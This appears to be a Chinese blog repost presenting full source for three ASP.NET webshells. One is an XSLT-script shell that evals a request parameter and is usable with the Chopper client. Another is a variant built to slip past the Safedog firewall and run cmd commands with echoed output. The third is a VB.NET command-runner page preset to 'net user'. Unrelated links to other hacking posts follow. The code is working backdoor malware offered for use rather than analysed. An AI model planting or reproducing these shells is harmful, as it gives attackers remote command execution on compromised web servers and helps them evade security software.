关于使用xsl的webshell以前已经有人发过了,比如aspx的一个webshell如下:

  1. <%@ Page Language="C#" Debug="true" %>
  2. <%@ import Namespace="System.IO"%>
  3. <%@ import Namespace="System.Xml"%>
  4. <%@ import Namespace="System.Xml.Xsl"%>
  5. <%
  6. string xml=@"<?xml version=""1.0""?><root>test</root>";
  7. string xslt=@"<?xml version='1.0'?>
  8. <xsl:stylesheet version=""1.0"" xmlns:xsl=""http://www.w3.org/1999/XSL/Transform"" xmlns:msxsl=""urn:schemas-microsoft-com:xslt"" xmlns:zcg=""zcgonvh"">
  9. <msxsl:script language=""JScript"" implements-prefix=""zcg"">
  10. <msxsl:assembly name=""mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""/>
  11. <msxsl:assembly name=""System.Data, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""/>
  12. <msxsl:assembly name=""System.Configuration, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a""/>
  13. <msxsl:assembly name=""System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a""/>
  14. <![CDATA[function xml() {var c=System.Web.HttpContext.Current;var Request=c.Request;var Response=c.Response;var Server=c.Server;eval(Request.Item['backlion'],'unsafe');Response.End();}]]>
  15. </msxsl:script>
  16. <xsl:template match=""/root"">
  17. <xsl:value-of select=""zcg:xml()""/>
  18. </xsl:template>
  19. </xsl:stylesheet>";
  20. XmlDocument xmldoc=new XmlDocument();
  21. xmldoc.LoadXml(xml);
  22. XmlDocument xsldoc=new XmlDocument();
  23. xsldoc.LoadXml(xslt);
  24. XslCompiledTransform xct=new XslCompiledTransform();
  25. xct.Load(xsldoc,XsltSettings.TrustedXslt,new XmlUrlResolver());
  26. xct.Transform(xmldoc,null,new MemoryStream());
  27. %>

密码为 backlion,这个webshell是可以用菜刀连接的,测试碰到这种情况:服务器有安全狗等防护软件,提交的各种数据包可能会拦截,而现在想要做的就是执行命令就可以了,为了方便,写了一个命令执行的webshell,可回显,可改密码,具体代码如下:

  1. <%@page language="C#"%>
  2. <%@ import Namespace="System.IO"%>
  3. <%@ import Namespace="System.Xml"%>
  4. <%@ import Namespace="System.Xml.Xsl"%>
  5. <%
  6. string xml=@"<?xml version=""1.0""?><root>test</root>";
  7. string xslt=@"<?xml version='1.0'?>
  8. <xsl:stylesheet version=""1.0"" xmlns:xsl=""http://www.w3.org/1999/XSL/Transform"" xmlns:msxsl=""urn:schemas-microsoft-com:xslt"" xmlns:zcg=""zcgonvh"">
  9. <msxsl:script language=""JScript"" implements-prefix=""zcg"">
  10. <msxsl:assembly name=""mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""/>
  11. <msxsl:assembly name=""System.Data, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""/>
  12. <msxsl:assembly name=""System.Configuration, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a""/>
  13. <msxsl:assembly name=""System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a""/>
  14. <![CDATA[function xml(){
  15. var c=System.Web.HttpContext.Current;var Request=c.Request;var Response=c.Response;
  16. var command = Request.Item['cmd'];
  17. var r = new ActiveXObject(""WScript.Shell"").Exec(""cmd /c ""+command);
  18. var OutStream = r.StdOut;
  19. var Str = """";
  20. while (!OutStream.atEndOfStream) {
  21. Str = Str + OutStream.readAll();
  22. }
  23. Response.Write(""<pre>""+Str+""</pre>"");
  24. }]]>
  25. </msxsl:script>
  26. <xsl:template match=""/root"">
  27. <xsl:value-of select=""zcg:xml()""/>
  28. </xsl:template>
  29. </xsl:stylesheet>";
  30. XmlDocument xmldoc=new XmlDocument();
  31. xmldoc.LoadXml(xml);
  32. XmlDocument xsldoc=new XmlDocument();
  33. xsldoc.LoadXml(xslt);
  34. XsltSettings xslt_settings = new XsltSettings(false, true);
  35. xslt_settings.EnableScript = true;
  36. try{
  37. XslCompiledTransform xct=new XslCompiledTransform();
  38. xct.Load(xsldoc,xslt_settings,new XmlUrlResolver());
  39. xct.Transform(xmldoc,null,new MemoryStream());
  40. }
  41. catch (Exception e){
  42. Response.Write("Error");
  43. }
  44. %>

密码为cmd,可自己改,测试如下图:

附带一个大马里面的命令执行:

  1. <%@ Page Language="VB" Debug="true" %>
  2. <%@ import Namespace="system.IO" %>
  3. <%@ import Namespace="System.Diagnostics" %>
  4. <script runat="server">
  5. Sub RunCmd(Src As Object, E As EventArgs)
  6. Dim myProcess As New Process()
  7. Dim myProcessStartInfo As New ProcessStartInfo(xpath.text)
  8. myProcessStartInfo.UseShellExecute = false
  9. myProcessStartInfo.RedirectStandardOutput = true
  10. myProcess.StartInfo = myProcessStartInfo
  11. myProcessStartInfo.Arguments=xcmd.text
  12. myProcess.Start()
  13. Dim myStreamReader As StreamReader = myProcess.StandardOutput
  14. Dim myString As String = myStreamReader.Readtoend()
  15. myProcess.Close()
  16. mystring=replace(mystring,"<","&lt;")
  17. mystring=replace(mystring,">","&gt;")
  18. result.text= vbcrlf & "<pre>" & mystring & "</pre>"
  19. End Sub
  20. </script>
  21. <html>
  22. <body>
  23. <form runat="server">
  24. <p><asp:Label id="L_p" runat="server" width="80px">Program</asp:Label>
  25. <asp:TextBox id="xpath" runat="server" Width="300px">c:\windows\system32\cmd.exe</asp:TextBox>
  26. <p><asp:Label id="L_a" runat="server" width="80px">Arguments</asp:Label>
  27. <asp:TextBox id="xcmd" runat="server" Width="300px" Text="/c net user">/c net user</asp:TextBox>
  28. <p><asp:Button id="Button" onclick="runcmd" runat="server" Width="100px" Text="Run"></asp:Button>
  29. <p><asp:Label id="result" runat="server"></asp:Label>
  30. </form>
  31. </body>
  32. </html>

(转)Xsl 的Webshell(aspx)版本的更多相关文章

  1. Webshell 一句话木马

    Webshell介绍 什么是 WebShell webshell就是以asp.php.jsp或者cgj等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门 由于 webshell其大多是 ...

  2. xise官方网站|XISE官网|xise最新版下载|超级XISE WBMS管理V12.0版本官方网站|

    诠释: 1. 破解VIP登陆限制 2.去后门 (自查) 下载地址 :https://pan.baidu.com/s/1eR2rUOM 查毒地址:http://a.virscan.org/a3983f3 ...

  3. ASPX一句话爆破工具

    #include "stdafx.h" #include <stdio.h> #include <Windows.h> #include <stdli ...

  4. 应用安全-软件安全-漏洞CVE整理

    jira ssrf CVE-2019-8451 url = url + '/plugins/servlet/gadgets/makeRequest?url=' + host + '@www.baidu ...

  5. 【原创】冰蝎v3.0操作使用手册

    写在前面 近期冰蝎更新了内网穿透模块中的一些功能,有不少朋友不知道参数怎么填,希望能出一个使用指导手册,就借这个机会写一个"说明书"(文中有大量演示动图,请耐心等待加载). 基本信 ...

  6. Ladon简单使用例子

    Socks5代理扫描 例子:扫描目标10.1.2段是否存在MS17010漏洞(必须加noping) Ladon noping 10.1.2.8/24 MS17010 详见:http://k8gege. ...

  7. 没有login页面

    "/"应用程序中的服务器错误. 无法找到资源. 说明:HTTP 404.您正在查找的资源(或者它的一个依赖项)可能已被移除,或其名称已更改,或暂时不可用.请检查以下 URL 并确保 ...

  8. SQL Server中tempdb的management

    对<SQL Server中tempdb的management>的一些更正和补充   对<SQL Server中tempdb的management>的一些更正和补充 前几天看了这 ...

  9. .NET Core 2.0及.NET Standard 2.0

    .NET Core 2.0的发布时间,.NET Core 2.0预览版及.NET Standard 2.0 Preview大概在5月中旬或下旬发布. .NET Core 2.0正式版本发布时间大约在Q ...

随机推荐

  1. 根据xml生成相应的对象类

    根据xml生成相应的class对象,听起来很难其实很简单,用xsd.exe就能办到 打开vs 命令行运行xsd.exe 你的xml文件地址 空格/outputdir:存放xsd的地址 ok,这是生成了 ...

  2. rocketmq Lock failed,MQ already started -c参数

    今天部署rocketmq集群时一台机器部署一个master 和slave,slave部署总是失败,通过查看日志显示下面的错误 java.lang.RuntimeException: Lock fail ...

  3. PKI(Public Key Infrastucture)介绍

    PKI(Public Key Infrastucture)介绍 根据Wikipedia PKI词条整理. PKI(Public Key Infrastucture)是一系列的规则.策略以及过程,可以用 ...

  4. 微信小程序---scroll-view在苹果手机上触底或触顶页面闪动问题

    在项目开发中遇到一个关于scroll-view的的问题,具体如下: 项目要求是横向滚动,由于直接在scroll-view组件设置display:flex不生效,因此考虑直接在scroll-view下增 ...

  5. hbase 修复 hbck

    hbase 修复使用hbck 新版本的 hbck 可以修复各种错误,修复选项是: (1)-fix,向下兼容用,被-fixAssignments替代 (2)-fixAssignments,用于修复reg ...

  6. scrum立会报告+燃尽图(第三周第六次)

    此作业要求参见:https://edu.cnblogs.com/campus/nenu/2018fall/homework/2286 项目地址:https://coding.net/u/wuyy694 ...

  7. 《JavaScript》函数

    function foo(a,b){return a+b}//函数申明 var foo=function(){}//函数表达式赋值 var foo=new Function('a','b','retu ...

  8. Unicode 和 UTF-8 有何区别

    作者:于洋链接:https://www.zhihu.com/question/23374078/answer/69732605来源:知乎著作权归作者所有,转载请联系作者获得授权. ========== ...

  9. 用vs调试项目的时候报HTTP 错误 403.14 - Forbidden

    曾经遇到过这种诡异的问题,你一定想不到,这个可能是因为你用svn合并的时候,导致了你的dll文件出了问题. 竟然可以用主干的dll替换的方式,解决掉这个问题.

  10. 01.1 Windows环境下JDK安装与环境变量配置详细的图文教程

    01.1 Windows环境下JDK安装与环境变量配置详细的图文教程 本节内容:JDK安装与环境变量配置 以下是详细步骤 一.准备工具: 1.JDK JDK 可以到官网下载 http://www.or ...